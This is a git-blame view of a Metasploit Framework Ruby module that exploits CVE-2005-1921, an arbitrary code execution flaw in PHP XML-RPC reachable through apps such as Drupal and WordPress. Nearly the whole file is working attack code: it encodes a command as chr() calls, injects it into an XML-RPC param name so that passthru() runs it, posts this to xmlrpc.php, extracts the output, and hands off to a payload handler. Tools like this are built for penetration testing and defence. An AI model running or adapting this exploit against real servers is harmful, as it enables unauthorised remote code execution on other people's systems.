2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-01-20 20:18:55 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2006-01-20 20:18:55 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2006-01-20 20:18:55 +00:00
|
|
|
|
2007-01-05 05:58:13 +00:00
|
|
|
# XXX This module needs an overhaul
|
2006-01-20 20:18:55 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-01-20 20:18:55 +00:00
|
|
|
'Name' => 'PHP XML-RPC Arbitrary Code Execution',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits an arbitrary code execution flaw
|
2006-01-27 05:00:35 +00:00
|
|
|
discovered in many implementations of the PHP XML-RPC module.
|
|
|
|
This flaw is exploitable through a number of PHP web
|
|
|
|
applications, including but not limited to Drupal, Wordpress,
|
|
|
|
Postnuke, and TikiWiki.
|
2006-01-20 20:18:55 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'hdm', 'cazz' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2006-01-20 20:18:55 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2006-01-27 05:00:35 +00:00
|
|
|
['CVE', '2005-1921'],
|
2009-07-16 16:02:24 +00:00
|
|
|
['OSVDB', '17793'],
|
|
|
|
['BID', '14088'],
|
2006-01-20 20:18:55 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2012-02-22 05:41:05 +00:00
|
|
|
'Platform' => ['unix'],
|
|
|
|
'Arch' => ARCH_CMD,
|
2006-01-20 20:18:55 +00:00
|
|
|
'Payload' => {
|
2006-01-27 05:00:35 +00:00
|
|
|
'Space' => 512,
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Keys' => ['cmd', 'cmd_bash'],
|
2006-01-20 20:18:55 +00:00
|
|
|
},
|
2006-01-27 05:00:35 +00:00
|
|
|
'Targets' => [ ['Automatic', { }], ],
|
|
|
|
'DefaultTarget' => 0,
|
2006-01-20 20:18:55 +00:00
|
|
|
'DisclosureDate' => 'Jun 29 2005'
|
2006-01-27 05:00:35 +00:00
|
|
|
))
|
2006-01-20 20:18:55 +00:00
|
|
|
|
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('PATH', [ true, "Path to xmlrpc.php", '/xmlrpc.php']),
|
2010-04-30 08:40:19 +00:00
|
|
|
], self.class)
|
|
|
|
|
2006-01-26 02:07:59 +00:00
|
|
|
deregister_options(
|
|
|
|
'HTTP::junk_params', # not your typical POST, so don't inject params.
|
2010-04-30 08:40:19 +00:00
|
|
|
'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
|
2006-01-26 02:07:59 +00:00
|
|
|
)
|
2006-01-20 20:18:55 +00:00
|
|
|
end
|
|
|
|
|
2006-01-26 02:07:59 +00:00
|
|
|
def go(command)
|
2006-01-20 20:18:55 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')
|
2007-03-01 08:21:36 +00:00
|
|
|
wrapper = rand_text_alphanumeric(rand(128)+32)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
cmd = "echo('#{wrapper}'); passthru(#{ encoded }); echo('#{wrapper}');;"
|
2006-01-20 20:18:55 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
xml =
|
2006-01-27 05:00:35 +00:00
|
|
|
'<?xml version="1.0"?>' +
|
|
|
|
"<methodCall>" +
|
2007-03-01 08:21:36 +00:00
|
|
|
"<methodName>"+ rand_text_alphanumeric(rand(128)+32) + "</methodName>" +
|
2006-01-27 05:00:35 +00:00
|
|
|
"<params><param>" +
|
2007-03-01 08:21:36 +00:00
|
|
|
"<name>" + rand_text_alphanumeric(rand(128)+32) + "');#{cmd}//</name>" +
|
|
|
|
"<value>" + rand_text_alphanumeric(rand(128)+32) + "</value>" +
|
2006-01-27 05:00:35 +00:00
|
|
|
"</param></params>" +
|
|
|
|
"</methodCall>";
|
2006-01-20 20:18:55 +00:00
|
|
|
|
2006-12-28 23:42:36 +00:00
|
|
|
res = send_request_cgi({
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => normalize_uri(datastore['PATH']),
|
2010-07-03 06:21:31 +00:00
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => 'application/xml',
|
|
|
|
'data' => xml,
|
|
|
|
}, 5)
|
2006-01-20 20:18:55 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
if (res and res.body)
|
|
|
|
b = /#{wrapper}(.*)#{wrapper}/sm.match(res.body)
|
|
|
|
if b
|
|
|
|
return b.captures[0]
|
|
|
|
elsif datastore['HTTP::chunked'] == true
|
|
|
|
b = /chunked Transfer-Encoding forbidden/.match(res.body)
|
|
|
|
if b
|
2013-08-15 19:14:46 +00:00
|
|
|
fail_with(Failure::BadConfig, 'Target PHP installation does not support chunked encoding. ' +
|
2011-10-23 11:56:13 +00:00
|
|
|
'Support for chunked encoded requests was added to PHP on 12/15/2005. ' +
|
2012-06-19 17:59:15 +00:00
|
|
|
'Try disabling HTTP::chunked and trying again.')
|
2006-01-27 05:00:35 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2006-01-20 20:18:55 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
return nil
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
def check
|
|
|
|
response = go("echo ownable")
|
|
|
|
if (!response.nil? and response =~ /ownable/sm)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
2006-01-20 20:18:55 +00:00
|
|
|
end
|
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
def exploit
|
|
|
|
response = go(payload.encoded)
|
|
|
|
if response == nil
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error('exploit failed: no response')
|
2006-01-26 02:07:59 +00:00
|
|
|
else
|
2006-01-27 05:00:35 +00:00
|
|
|
if response.length == 0
|
|
|
|
print_status('exploit successful')
|
2010-04-30 08:40:19 +00:00
|
|
|
else
|
2006-01-27 05:00:35 +00:00
|
|
|
print_status("Command returned #{response}")
|
|
|
|
end
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|